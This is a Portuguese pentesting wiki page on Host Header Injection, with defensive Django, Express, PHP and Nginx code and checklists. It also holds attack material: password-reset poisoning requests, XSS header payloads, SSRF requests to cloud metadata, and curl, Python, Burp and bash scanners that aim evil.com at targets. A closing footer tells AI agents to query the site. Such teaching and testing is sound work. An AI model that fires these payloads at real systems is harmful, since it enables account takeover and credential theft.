# Host Header Injection

Host Header Injection é uma vulnerabilidade que ocorre quando aplicações web utilizam de forma insegura o cabeçalho HTTP Host para construir links, gerar conteúdos ou realizar redirecionamentos, permitindo que atacantes manipulem esse valor para conduzir diversos tipos de ataques.

### **Princípio de Funcionamento**

```
Requisição Manipulada → Aplicação Confia no Host Header → Comportamento Comprometido
         ↓                         ↓                             ↓
  Atacante altera header    App usa valor sem validação    Ações maliciosas executadas
      HTTP Host                     adequada                     pela aplicação
```

### **Características do Host Header Injection**

* **Explora a confiança** da aplicação no cabeçalho Host
* **Permite manipulação** de URLs e redirecionamentos
* **Pode levar a ataques** de phishing, SSRF, cache poisoning
* **Frequentemente negligenciada** em testes de segurança

### **Tipos de Host Header Injection**

1. **Password Reset Poisoning** - Manipulação de links de redefinição
2. **Cache Poisoning** - Envenenamento de cache web
3. **SSRF via Host Header** - Exploração para Server-Side Request Forgery
4. **Authentication Bypass** - Bypass de mecanismos de autenticação
5. **XSS via Host Header** - Injeção de scripts através do host

***

## **⚔️ Mecanismos de Ataque**

### **Fluxo de Ataque Host Header Injection**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima
    participant S as Servidor Web
    participant C as Cache Server
    participant E as Servidor Externo

    Note over A,E: FASE 1: Reconhecimento
    A->>S: Envia requisição com Host header manipulado
    Note right of A: Host: evil.com
    S->>S: Processa requisição sem validação
    S->>A: Retorna resposta possivelmente comprometida

    Note over A,E: FASE 2: Exploração - Password Reset Poisoning
    A->>S: Solicita reset de senha com Host malicioso
    Note right of A: POST /reset-password<br>Host: evil.com<br>Email: victim@company.com
    S->>S: Gera link de reset usando Host header
    S->>V: Envia email com link malicioso
    Note left of V: Link: https://evil.com/reset?token=abc123

    Note over A,E: FASE 3: Vítima Interage
    V->>A: Clica no link no email
    A->>A: Captura token de reset
    A->>S: Usa token para trocar senha da vítima

    Note over A,E: FASE 4: Cache Poisoning
    A->>S: Requisição com Host malicioso e payload XSS
    Note right of A: Host: normal-site.com<br>X-Forwarded-Host: evil.com
    S->>S: Gera conteúdo usando header não validado
    S->>C: Cache armazena resposta comprometida
    C->>V: Entrega conteúdo malicioso para usuários legítimos

    Note over A,E: FASE 5: SSRF Attack
    A->>S: Requisição com Host apontando para recurso interno
    Note right of A: Host: 169.254.169.254
    S->>E: Servidor faz requisição para Host manipulado
    E->>S: Retorna dados sensíveis (cloud metadata)
    S->>A: Encaminha dados sensíveis
```

### **Cenário 1: Password Reset Poisoning**

```http
POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

email=victim@company.com
```

**Resultado**: Link no email será `https://evil.com/reset-password?token=abc123`

### **Cenário 2: Cache Poisoning**

```http
GET / HTTP/1.1
Host: vulnerable-site.com
X-Forwarded-Host: evil.com

-- Servidor gera:
<script src="https://evil.com/static/script.js"></script>
```

### **Cenário 3: SSRF via Host Header**

```http
GET /proxy?url=current HTTP/1.1
Host: 169.254.169.254

-- Aplicação faz request para:
http://169.254.169.254/latest/meta-data/
```

### **Cenário 4: Authentication Bypass**

```http
GET /admin HTTP/1.1
Host: localhost

-- Aplicação pode permitir acesso se configurada para permitir localhost
```

***

## **🔎 Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```bash
# Pontos a verificar em aplicações
- Links absolutos gerados dinamicamente
- Funcionalidades de reset de senha
- Sistemas de cache implementados
- Funcionalidades de proxy/redirecionamento
- Uso de X-Forwarded-Host sem validação
```

### **Headers Comumente Explorados**

```
Host: evil.com
X-Forwarded-Host: evil.com
X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com
```

### **Metodologia de Teste Manual**

{% stepper %}
{% step %}

### Testes Básicos de Manipulação

```bash
# Testar com diferentes valores de Host
curl -H "Host: evil.com" http://target.com
curl -H "Host: 127.0.0.1" http://target.com
curl -H "Host: target.com.evil.com" http://target.com

# Testar headers alternativos
curl -H "X-Forwarded-Host: evil.com" http://target.com
curl -H "X-Host: evil.com" http://target.com
```

{% endstep %}

{% step %}

### Script de Detecção Automatizada

```python
#!/usr/bin/env python3
# host_header_scanner.py

import requests
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning
import re

# Suprimir avisos de SSL
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class HostHeaderScanner:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
        self.vulnerabilities = []
        
        # Headers para testar
        self.test_headers = [
            ('Host', 'evil.com'),
            ('X-Forwarded-Host', 'evil.com'),
            ('X-Host', 'evil.com'),
            ('X-Forwarded-Server', 'evil.com'),
            ('X-HTTP-Host-Override', 'evil.com'),
            ('Forwarded', 'host=evil.com')
        ]
        
        # Payloads para detecção
        self.payloads = [
            'evil.com',
            'target.com.evil.com',
            '127.0.0.1',
            'localhost',
            '169.254.169.254',
            'attacker-controlled-domain.com'
        ]

    def test_host_header_reflection(self):
        """Testar se o Host header é refletido na resposta"""
        print(f"[*] Testando reflexão do Host header em {self.target_url}")
        
        for header_name, header_value in self.test_headers:
            try:
                headers = {header_name: header_value}
                response = self.session.get(
                    self.target_url, 
                    headers=headers, 
                    verify=False,
                    allow_redirects=False
                )
                
                # Verificar reflexão no conteúdo
                if self.check_reflection(response, header_value):
                    print(f"[!] Reflexão detectada no header: {header_name}")
                    self.vulnerabilities.append({
                        'type': 'Reflection',
                        'header': header_name,
                        'value': header_value,
                        'evidence': self.extract_evidence(response, header_value)
                    })
                
                # Verificar reflexão em headers de resposta
                if self.check_header_reflection(response, header_value):
                    print(f"[!] Reflexão em header de resposta: {header_name}")
                    self.vulnerabilities.append({
                        'type': 'Header_Reflection',
                        'header': header_name,
                        'value': header_value,
                        'evidence': dict(response.headers)
                    })
                    
            except Exception as e:
                print(f"[!] Erro testando {header_name}: {e}")

    def test_password_reset_poisoning(self, test_email):
        """Testar vulnerabilidade em reset de senha"""
        print(f"[*] Testando Password Reset Poisoning")
        
        reset_endpoints = [
            '/forgot-password',
            '/reset-password',
            '/password-reset',
            '/recover-password'
        ]
        
        for endpoint in reset_endpoints:
            url = f"{self.target_url}{endpoint}"
            
            for header_name, header_value in self.test_headers:
                try:
                    data = {'email': test_email}
                    headers = {header_name: header_value, 'Content-Type': 'application/x-www-form-urlencoded'}
                    
                    response = self.session.post(
                        url,
                        data=data,
                        headers=headers,
                        verify=False,
                        allow_redirects=False
                    )
                    
                    # Verificar se a requisição foi aceita
                    if response.status_code in [200, 302]:
                        print(f"[!] Possível vulnerabilidade em {endpoint} com {header_name}")
                        self.vulnerabilities.append({
                            'type': 'Password_Reset_Poisoning',
                            'endpoint': endpoint,
                            'header': header_name,
                            'status_code': response.status_code
                        })
                        
                except Exception as e:
                    print(f"[!] Erro testando {endpoint}: {e}")

    def test_cache_poisoning(self):
        """Testar vulnerabilidade de cache poisoning"""
        print(f"[*] Testando Cache Poisoning")
        
        test_payload = '<script>alert("XSS")</script>'
        
        for header_name, header_value in self.test_headers:
            try:
                headers = {
                    header_name: header_value,
                    'X-Forwarded-Scheme': 'http'
                }
                
                response = self.session.get(
                    self.target_url,
                    headers=headers,
                    verify=False
                )
                
                # Verificar se o payload é refletido em tags script/link
                if self.check_cache_poisoning_indicators(response, header_value):
                    print(f"[!] Possível cache poisoning com {header_name}")
                    self.vulnerabilities.append({
                        'type': 'Cache_Poisoning',
                        'header': header_name,
                        'value': header_value,
                        'evidence': self.extract_poisoning_evidence(response)
                    })
                    
            except Exception as e:
                print(f"[!] Erro testando cache poisoning: {e}")

    def check_reflection(self, response, payload):
        """Verificar se o payload é refletido no conteúdo"""
        content = response.text.lower()
        return payload.lower() in content

    def check_header_reflection(self, response, payload):
        """Verificar se o payload é refletido em headers de resposta"""
        for header, value in response.headers.items():
            if payload.lower() in value.lower():
                return True
        return False

    def check_cache_poisoning_indicators(self, response, payload):
        """Verificar indicadores de cache poisoning"""
        content = response.text
        
        # Verificar em tags script
        script_pattern = r'<script[^>]*src=["\'](.*?)["\']'
        scripts = re.findall(script_pattern, content, re.IGNORECASE)
        
        for script in scripts:
            if payload in script:
                return True
        
        # Verificar em tags link
        link_pattern = r'<link[^>]*href=["\'](.*?)["\']'
        links = re.findall(link_pattern, content, re.IGNORECASE)
        
        for link in links:
            if payload in link:
                return True
                
        return False

    def extract_evidence(self, response, payload):
        """Extrair evidência da vulnerabilidade"""
        evidence = {}
        content = response.text
        
        # Encontrar contexto onde o payload aparece
        lines = content.split('\n')
        for i, line in enumerate(lines):
            if payload in line:
                evidence[f'line_{i}'] = line.strip()[:200]  # Primeiros 200 chars
                
        return evidence

    def extract_poisoning_evidence(self, response):
        """Extrair evidência de cache poisoning"""
        evidence = {}
        content = response.text
        
        # Extrair tags script e link
        script_pattern = r'<script[^>]*src=["\'](.*?)["\'][^>]*>'
        scripts = re.findall(script_pattern, content, re.IGNORECASE)
        evidence['scripts'] = scripts[:5]  # Primeiros 5 scripts
        
        link_pattern = r'<link[^>]*href=["\'](.*?)["\'][^>]*>'
        links = re.findall(link_pattern, content, re.IGNORECASE)
        evidence['links'] = links[:5]  # Primeiros 5 links
        
        return evidence

    def generate_report(self):
        """Gerar relatório de vulnerabilidades"""
        return {
            'target_url': self.target_url,
            'vulnerabilities_found': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities
        }

# Uso do scanner
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) != 2:
        print("Uso: python host_header_scanner.py <target_url>")
        sys.exit(1)
    
    target = sys.argv[1]
    scanner = HostHeaderScanner(target)
    
    # Executar testes
    scanner.test_host_header_reflection()
    scanner.test_password_reset_poisoning('test@example.com')
    scanner.test_cache_poisoning()
    
    # Gerar relatório
    report = scanner.generate_report()
    print(f"\n[+] Scan completo. Vulnerabilidades encontradas: {report['vulnerabilities_found']}")
    
    for vuln in report['vulnerabilities']:
        print(f"  - {vuln['type']}: {vuln.get('header', 'N/A')}")
```

{% endstep %}
{% endstepper %}

### **Técnicas de Detecção Avançadas**

{% stepper %}
{% step %}

### Detecção de Password Reset Poisoning

```bash
# Testar endpoints de reset de senha
curl -X POST \
  -H "Host: attacker.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=victim@company.com" \
  http://target.com/forgot-password

# Verificar se o link no email (se enviado) aponta para attacker.com
```

{% endstep %}

{% step %}

### Detecção de Web Cache Poisoning

```bash
# Enviar requisição com headers manipulados
curl -H "Host: target.com" \
     -H "X-Forwarded-Host: attacker.com" \
     http://target.com/

# Verificar se recursos são carregados de attacker.com
```

{% endstep %}

{% step %}

### SSRF via Host Header

```bash
# Testar SSRF em funcionalidades de proxy
curl -H "Host: 169.254.169.254" \
     http://target.com/proxy

# Testar em funcionalidades que fazem requests internos
curl -H "Host: internal-server.local" \
     http://target.com/webhook
```

{% endstep %}
{% endstepper %}

***

## **💥 Exploração e Impacto**

### **Técnicas de Exploração Avançadas**

{% stepper %}
{% step %}

### Password Reset Poisoning Avançado

```http
POST /forgot-password HTTP/1.1
Host: evil.com
X-Forwarded-Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

email=admin@company.com

-- Aplicação gera link: https://evil.com/reset?token=secret123
-- Atacante intercepta token e redefine senha do admin
```

{% endstep %}

{% step %}

### Cache Poisoning com XSS

```http
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: target.com"><script>alert(1)</script>

-- Se refletido sem sanitização:
<script src="https://target.com"><script>alert(1)</script>/static/app.js">
```

{% endstep %}

{% step %}

### SSRF para Cloud Metadata

```http
GET /webhook/test HTTP/1.1
Host: 169.254.169.254

-- Aplicação faz request para metadata API
-- Retorna: credenciais IAM, informações da instância
```

{% endstep %}

{% step %}

### Bypass de Autenticação

```http
GET /admin/dashboard HTTP/1.1
Host: localhost
X-Forwarded-For: 127.0.0.1

-- Aplicação pode permitir acesso thinking it's from localhost
```

{% endstep %}
{% endstepper %}

### **Impacto do Host Header Injection**

#### **Cenários de Ataque e Impacto**

```json
{
  "password_reset_poisoning": {
    "impacto": "Alto",
    "cenario": "Ataque consegue redefinir senhas de usuários",
    "consequencias": [
      "Acesso não autorizado a contas",
      "Comprometimento de dados sensíveis",
      "Escalação de privilégios"
    ]
  },
  "web_cache_poisoning": {
    "impacto": "Médio-Alto",
    "cenario": "Conteúdo malicioso servido para múltiplos usuários",
    "consequencias": [
      "Ataques XSS em larga escala",
      "Defacement da aplicação",
      "Roubo de sessões de usuários"
    ]
  },
  "ssrf_via_host": {
    "impacto": "Alto",
    "cenario": "Acesso a recursos internos e cloud metadata",
    "consequencias": [
      "Exposição de credenciais cloud",
      "Acesso a redes internas",
      "Comprometimento de infraestrutura"
    ]
  },
  "authentication_bypass": {
    "impacto": "Alto",
    "cenario": "Bypass de controles de acesso baseados em IP/Host",
    "consequencias": [
      "Acesso a áreas administrativas",
      "Exposição de dados sensíveis",
      "Comprometimento do sistema"
    ]
  }
}
```

#### **Cadeia de Ataque Completa**

```
Host Header Injection → Manipulação de Comportamento → Acesso Não Autorizado → Comprometimento
```

***

## **🛡️ Mitigação e Correção**

### **Estratégias de Defesa em Camadas**

#### **1. Validação Rigorosa do Host Header**

```python
import re
from urllib.parse import urlparse
from django.http import HttpResponseBadRequest

class HostHeaderValidationMiddleware:
    """
    Middleware para validação segura do Host header
    """
    
    def __init__(self, get_response):
        self.get_response = get_response
        self.allowed_hosts = [
            'example.com',
            'www.example.com',
            'app.example.com',
            'localhost'  # Apenas para desenvolvimento
        ]
        
        # Regex para validação de host
        self.host_pattern = re.compile(r'^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$')
    
    def __call__(self, request):
        # Validar Host header
        host = self.get_host_from_request(request)
        
        if not self.is_valid_host(host):
            return HttpResponseBadRequest("Invalid Host header")
        
        response = self.get_response(request)
        return response
    
    def get_host_from_request(self, request):
        """Extrair host de forma segura considerando headers comuns"""
        host = request.META.get('HTTP_HOST')
        
        # Se não encontrar, tentar headers alternativos
        if not host:
            host = request.META.get('HTTP_X_FORWARDED_HOST')
        
        if not host:
            host = request.META.get('SERVER_NAME')
        
        # Remover porta se presente
        if host and ':' in host:
            host = host.split(':', 1)[0]
        
        return host
    
    def is_valid_host(self, host):
        """Validar se o host é permitido"""
        if not host:
            return False
        
        # Verificar lista de hosts permitidos
        if host in self.allowed_hosts:
            return True
        
        # Verificar formato válido
        if not self.host_pattern.match(host):
            return False
        
        # Verificar se é subdomínio permitido
        for allowed_host in self.allowed_hosts:
            if host.endswith('.' + allowed_host):
                return True
        
        return False

# Uso no Django
MIDDLEWARE = [
    'myapp.middleware.HostHeaderValidationMiddleware',
    # ... outros middlewares
]
```

#### **2. Configuração Segura em Diferentes Frameworks**

**Node.js/Express**

```javascript
const express = require('express');
const helmet = require('helmet');
const app = express();

// Usar helmet para segurança básica
app.use(helmet());

// Middleware de validação de host
app.use((req, res, next) => {
    const allowedHosts = ['example.com', 'www.example.com', 'localhost:3000'];
    const host = req.get('host') || req.get('x-forwarded-host');
    
    if (!host || !allowedHosts.includes(host)) {
        return res.status(400).json({ error: 'Invalid Host header' });
    }
    
    // Sobrescrever req.host com valor validado
    req.validatedHost = host;
    next();
});

// Nunca usar Host header diretamente em links
app.get('/reset-password', (req, res) => {
    const token = generateResetToken();
    
    // ❌ PERIGOSO - Usar Host header diretamente
    // const resetLink = `https://${req.get('host')}/reset?token=${token}`;
    
    // ✅ SEGURO - Usar domínio configurado
    const resetLink = `https://${process.env.APP_DOMAIN}/reset?token=${token}`;
    
    sendResetEmail(user.email, resetLink);
    res.json({ message: 'Reset email sent' });
});
```

**PHP**

```php
<?php
class HostHeaderValidator {
    private $allowedHosts = [
        'example.com',
        'www.example.com',
        'api.example.com'
    ];
    
    public function validate() {
        $host = $this->getHostHeader();
        
        if (!$this->isValidHost($host)) {
            header('HTTP/1.1 400 Bad Request');
            exit('Invalid Host header');
        }
        
        return $host;
    }
    
    private function getHostHeader() {
        // Preferir SERVER_NAME sobre HTTP_HOST
        $host = $_SERVER['SERVER_NAME'] ?? '';
        
        if (empty($host)) {
            $host = $_SERVER['HTTP_HOST'] ?? '';
        }
        
        // Remover porta
        if (strpos($host, ':') !== false) {
            $host = strstr($host, ':', true);
        }
        
        return $host;
    }
    
    private function isValidHost($host) {
        return in_array($host, $this->allowedHosts, true);
    }
}

// Uso
$validator = new HostHeaderValidator();
$validHost = $validator->validate();
?>
```

#### **3. Configuração de Web Server**

**Nginx**

```nginx
server {
    listen 80;
    server_name example.com www.example.com;
    
    # Bloquear headers de host maliciosos
    if ($http_host !~* "^(example\.com|www\.example\.com)$") {
        return 444; # Fechar conexão sem resposta
    }
    
    # Bloquear headers comuns de proxy
    if ($http_x_forwarded_host) {
        return 444;
    }
    
    location / {
        # Passar host validado para a aplicação
        proxy_set_header Host $http_host;
        proxy_set_header X-Real-IP $remote_addr;
        # NÃO passar X-Forwarded-Host
        proxy_pass http://app_server;
    }
}
```

**Apache**

```apache
<VirtualHost *:80>
    ServerName example.com
    ServerAlias www.example.com
    
    # Validar Host header
    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^example\.com$ [NC]
    RewriteCond %{HTTP_HOST} !^www\.example\.com$ [NC]
    RewriteRule ^ - [F]
    
    # Bloquear headers de proxy não confiáveis
    <IfModule mod_headers.c>
        RequestHeader unset X-Forwarded-Host
        RequestHeader unset X-Host
    </IfModule>
</VirtualHost>
```

### **Práticas de Desenvolvimento Seguras**

#### **1. URL Generation Segura**

```python
from django.conf import settings
from django.urls import reverse

def generate_secure_url(request, view_name, **kwargs):
    """
    Gerar URLs absolutas de forma segura
    """
    # ❌ PERIGOSO - Usar request para obter host
    # base_url = f"https://{request.get_host()}"
    
    # ✅ SEGURO - Usar configuração
    base_url = settings.APP_BASE_URL
    path = reverse(view_name, kwargs=kwargs)
    
    return f"{base_url}{path}"

def send_password_reset_email(user):
    """Enviar email de reset de senha de forma segura"""
    token = generate_reset_token(user)
    
    # URL segura usando configuração
    reset_url = f"{settings.APP_BASE_URL}/reset-password?token={token}"
    
    send_email(
        to=user.email,
        subject="Password Reset",
        body=f"Click here to reset your password: {reset_url}"
    )
```

#### **2. Configuração de Ambiente**

```python
# settings.py
import os
from django.core.exceptions import ImproperlyConfigured

# Hosts permitidos
ALLOWED_HOSTS = os.getenv('ALLOWED_HOSTS', '').split(',')
if not ALLOWED_HOSTS or ALLOWED_HOSTS == ['']:
    raise ImproperlyConfigured("ALLOWED_HOSTS must be set")

# URL base da aplicação (para geração de links absolutos)
APP_BASE_URL = os.getenv('APP_BASE_URL', 'https://example.com')

# Configuração de segurança adicional
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
USE_X_FORWARDED_HOST = False  # Não confiar em X-Forwarded-Host
```

***

## **🔧 Ferramentas e Testes**

### **Ferramentas de Análise Automatizada**

#### **1. Burp Suite Extension**

```python
# host_header_scanner_burp.py
from burp import IBurpExtender, IScannerCheck

class BurpExtender(IBurpExtender, IScannerCheck):
    
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Host Header Scanner")
        callbacks.registerScannerCheck(self)
    
    def doActiveScan(self, baseRequestResponse, insertionPoint):
        issues = []
        
        # Testar diferentes headers de host
        host_headers = [
            ("Host", "evil.com"),
            ("X-Forwarded-Host", "evil.com"),
            ("X-Host", "evil.com")
        ]
        
        for header_name, header_value in host_headers:
            # Criar requisição modificada
            request = baseRequestResponse.getRequest()
            analyzed = self._helpers.analyzeRequest(request)
            headers = list(analyzed.getHeaders())
            
            # Adicionar/modificar header
            new_headers = self.modify_headers(headers, header_name, header_value)
            new_request = self._helpers.buildHttpMessage(new_headers, analyzed.getRequestBody())
            
            # Enviar requisição
            check_request = self._callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(),
                new_request
            )
            
            # Analisar resposta
            if self.is_vulnerable(check_request, header_value):
                issues.append(self.create_issue(
                    baseRequestResponse,
                    f"Host Header Injection - {header_name}",
                    f"The application is vulnerable to Host Header Injection via {header_name}"
                ))
        
        return issues
    
    def modify_headers(self, headers, header_name, header_value):
        """Modificar headers da requisição"""
        new_headers = []
        header_replaced = False
        
        for header in headers:
            if header.startswith(header_name + ":"):
                new_headers.append(f"{header_name}: {header_value}")
                header_replaced = True
            else:
                new_headers.append(header)
        
        if not header_replaced:
            new_headers.append(f"{header_name}: {header_value}")
        
        return new_headers
    
    def is_vulnerable(self, check_request, payload):
        """Verificar se a aplicação é vulnerável"""
        response = check_request.getResponse()
        response_text = self._helpers.bytesToString(response)
        
        # Verificar reflexão do payload
        return payload in response_text
```

#### **2. Ferramentas de Linha de Comando**

```bash
#!/bin/bash
# host_header_tester.sh

TARGET=$1
TEST_HEADERS=("Host" "X-Forwarded-Host" "X-Host" "X-Forwarded-Server")

echo "Testing Host Header Injection on: $TARGET"

for header in "${TEST_HEADERS[@]}"; do
    echo "Testing header: $header"
    
    # Testar com domínio malicioso
    curl -s -H "$header: evil.com" "$TARGET" | grep -q "evil.com" && \
        echo "  [!] Reflection detected with $header"
    
    # Testar com localhost
    curl -s -H "$header: localhost" "$TARGET" | grep -q "localhost" && \
        echo "  [!] Localhost reflection with $header"
    
    # Testar reset de senha
    curl -X POST -H "$header: evil.com" \
         -H "Content-Type: application/x-www-form-urlencoded" \
         -d "email=test@example.com" \
         "$TARGET/forgot-password" && \
        echo "  [!] Possible password reset poisoning with $header"
done
```

### **Comandos Úteis para Testes Manuais**

```bash
# Teste básico com curl
curl -H "Host: evil.com" http://target.com
curl -H "X-Forwarded-Host: evil.com" http://target.com

# Teste com netcat
printf "GET / HTTP/1.1\r\nHost: evil.com\r\n\r\n" | nc target.com 80

# Teste com diferentes payloads
curl -H "Host: target.com.<script>alert(1)</script>" http://target.com
curl -H "Host: 169.254.169.254" http://target.com/proxy
```

***

## **📋 Checklists de Segurança**

### **Checklist de Prevenção Host Header Injection**

* [ ] **Validação de Host Header**
  * [ ] Lista branca de hosts permitidos
  * [ ] Validação em todas as requisições
  * [ ] Rejeição de headers de proxy não confiáveis
  * [ ] Log de tentativas de violação
* [ ] **Geração Segura de URLs**
  * [ ] Nunca usar Host header para links absolutos
  * [ ] Usar variáveis de ambiente para domínios
  * [ ] Validação em funcionalidades de email
  * [ ] Testes em reset de senha
* [ ] **Configuração de Servidor**
  * [ ] Web server configurado para validar Host
  * [ ] Headers de proxy desabilitados quando não necessário
  * [ ] Configuração segura de load balancers
* [ ] **Monitoramento e Logging**
  * [ ] Log de headers Host suspeitos
  * [ ] Monitoramento de tentativas de exploração
  * [ ] Alertas para padrões maliciosos

### **Checklist de Auditoria**

* [ ] **Testes de Segurança**
  * [ ] Teste com headers Host manipulados
  * [ ] Teste de password reset poisoning
  * [ ] Teste de cache poisoning
  * [ ] Teste de SSRF via Host header
* [ ] **Análise de Código**
  * [ ] Revisão de uso de request.get\_host()
  * [ ] Verificação de geração de links absolutos
  * [ ] Análise de funcionalidades de email
  * [ ] Revisão de configurações de framework
* [ ] **Configuração de Infraestrutura**
  * [ ] Verificação de configuração de web server
  * [ ] Análise de headers passados por load balancer
  * [ ] Configuração de WAF/security groups

### **Checklist de Resposta a Incidentes**

* [ ] **Detecção**
  * [ ] Monitoramento de headers Host incomuns
  * [ ] Análise de logs de acesso
  * [ ] Alertas para reset de senha suspeito
* [ ] **Contenção**
  * [ ] Bloqueio de IPs maliciosos
  * [ ] Invalidação de cache comprometido
  * [ ] Revogação de tokens de reset
* [ ] **Correção**
  * [ ] Implementação de validação de host
  * [ ] Atualização de configurações
  * [ ] Reteste de vulnerabilidades

***

## **📊 Exemplos de Implementação Segura**

### **Middleware Completo para Django**

```python
# security/middleware.py
import re
import logging
from django.http import HttpResponseBadRequest, HttpResponseForbidden
from django.conf import settings

logger = logging.getLogger('security')

class SecurityHeadersMiddleware:
    """
    Middleware abrangente para segurança de headers HTTP
    """
    
    def __init__(self, get_response):
        self.get_response = get_response
        
        # Hosts permitidos
        self.allowed_hosts = set(getattr(settings, 'ALLOWED_HOSTS', []))
        
        # Headers de proxy que devem ser ignorados
        self.untrusted_proxy_headers = {
            'HTTP_X_FORWARDED_HOST',
            'HTTP_X_FORWARDED_SERVER', 
            'HTTP_X_HOST',
            'HTTP_X_ORIGINAL_HOST'
        }
    
    def __call__(self, request):
        # Validar Host header antes de qualquer processamento
        validation_result = self.validate_request_headers(request)
        if not validation_result['valid']:
            logger.warning(
                f"Invalid Host header: {validation_result['host']} "
                f"from IP: {self.get_client_ip(request)}"
            )
            return HttpResponseBadRequest("Invalid request")
        
        # Adicionar headers de segurança
        response = self.get_response(request)
        response = self.add_security_headers(response)
        
        return response
    
    def validate_request_headers(self, request):
        """Validar headers da requisição"""
        host = self.get_safe_host(request)
        
        if not host:
            return {'valid': False, 'host': 'None'}
        
        # Validar contra lista de hosts permitidos
        if not self.is_host_allowed(host):
            return {'valid': False, 'host': host}
        
        # Validar formato do host
        if not self.is_valid_host_format(host):
            return {'valid': False, 'host': host}
        
        return {'valid': True, 'host': host}
    
    def get_safe_host(self, request):
        """Obter host de forma segura"""
        # Preferir SERVER_NAME que é definido pelo web server
        host = request.META.get('SERVER_NAME', '')
        
        # Se vazio, usar HTTP_HOST mas com validação
        if not host:
            host = request.META.get('HTTP_HOST', '')
        
        # Remover porta
        host = host.split(':', 1)[0]
        
        return host
    
    def is_host_allowed(self, host):
        """Verificar se o host está na lista de permitidos"""
        return host in self.allowed_hosts
    
    def is_valid_host_format(self, host):
        """Validar formato do hostname"""
        if len(host) > 255:
            return False
        
        if host[-1] == ".":
            host = host[:-1]
        
        allowed = re.compile(
            r"^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$", 
            re.IGNORECASE
        )
        
        return allowed.match(host) is not None
    
    def get_client_ip(self, request):
        """Obter IP do cliente de forma segura"""
        x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')
        if x_forwarded_for:
            ip = x_forwarded_for.split(',')[0]
        else:
            ip = request.META.get('REMOTE_ADDR')
        return ip
    
    def add_security_headers(self, response):
        """Adicionar headers de segurança à resposta"""
        # Prevenir clickjacking
        response['X-Frame-Options'] = 'DENY'
        
        # Prevenir MIME type sniffing
        response['X-Content-Type-Options'] = 'nosniff'
        
        # Política de referrer
        response['Referrer-Policy'] = 'strict-origin-when-cross-origin'
        
        # Feature Policy
        response['Feature-Policy'] = "geolocation 'none'; microphone 'none'; camera 'none'"
        
        return response

# settings.py
MIDDLEWARE = [
    'myapp.security.middleware.SecurityHeadersMiddleware',
    # ... outros middlewares
]

ALLOWED_HOSTS = ['example.com', 'www.example.com', 'app.example.com']
```

### **Configuração Nginx de Produção**

```nginx
# nginx.conf
http {
    # Configurações globais de segurança
    server_tokens off;
    
    # Headers de segurança
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    
    server {
        listen 80;
        server_name example.com www.example.com;
        
        # Validar Host header
        if ($host !~* "^(example\.com|www\.example\.com)$") {
            return 444;
        }
        
        # Remover headers de proxy não confiáveis
        proxy_set_header X-Forwarded-Host "";
        proxy_set_header X-Host "";
        
        # Passar apenas headers necessários
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        location / {
            proxy_pass http://app_server;
            
            # Rate limiting para endpoints sensíveis
            location ~* ^/(forgot-password|reset-password) {
                limit_req zone=auth burst=5 nodelay;
                proxy_pass http://app_server;
            }
        }
    }
    
    # Rate limiting
    limit_req_zone $binary_remote_addr zone=auth:10m rate=10r/m;
}
```

***

## **⚠️ Considerações Finais**

### **Mitos Comuns sobre Host Header Injection**

* ❌ "Só afeta aplicações com reset de senha" → **FALSO** (pode afetar qualquer app que use Host header)
* ❌ "WAF resolve completamente" → **FALSO** (WAF ajuda, mas validação na aplicação é essencial)
* ❌ "É uma vulnerabilidade de baixo impacto" → **FALSO** (pode levar a comprometimento completo)

### **Boas Práticas Essenciais**

1. **Never Trust HTTP Headers**: Sempre validar Host e headers de proxy
2. **Use Configuration Values**: Nunca usar request headers para URLs absolutas
3. **Defense in Depth**: Múltiplas camadas de validação
4. **Secure Defaults**: Configurações seguras por padrão

### **Referências e Padrões**

* OWASP Host Header Injection Cheat Sheet
* Django Security Middleware Documentation
* Nginx Security Headers Guide
* RFC 7230: HTTP/1.1 Message Syntax and Routing

**🔐 Lembre-se**: Host Header Injection é frequentemente negligenciada mas pode ter impactos severos. Implemente validações robustas e sempre assuma que headers HTTP podem ser manipulados por atacantes.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/web/server-side-infraestrutura-web/host-header-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
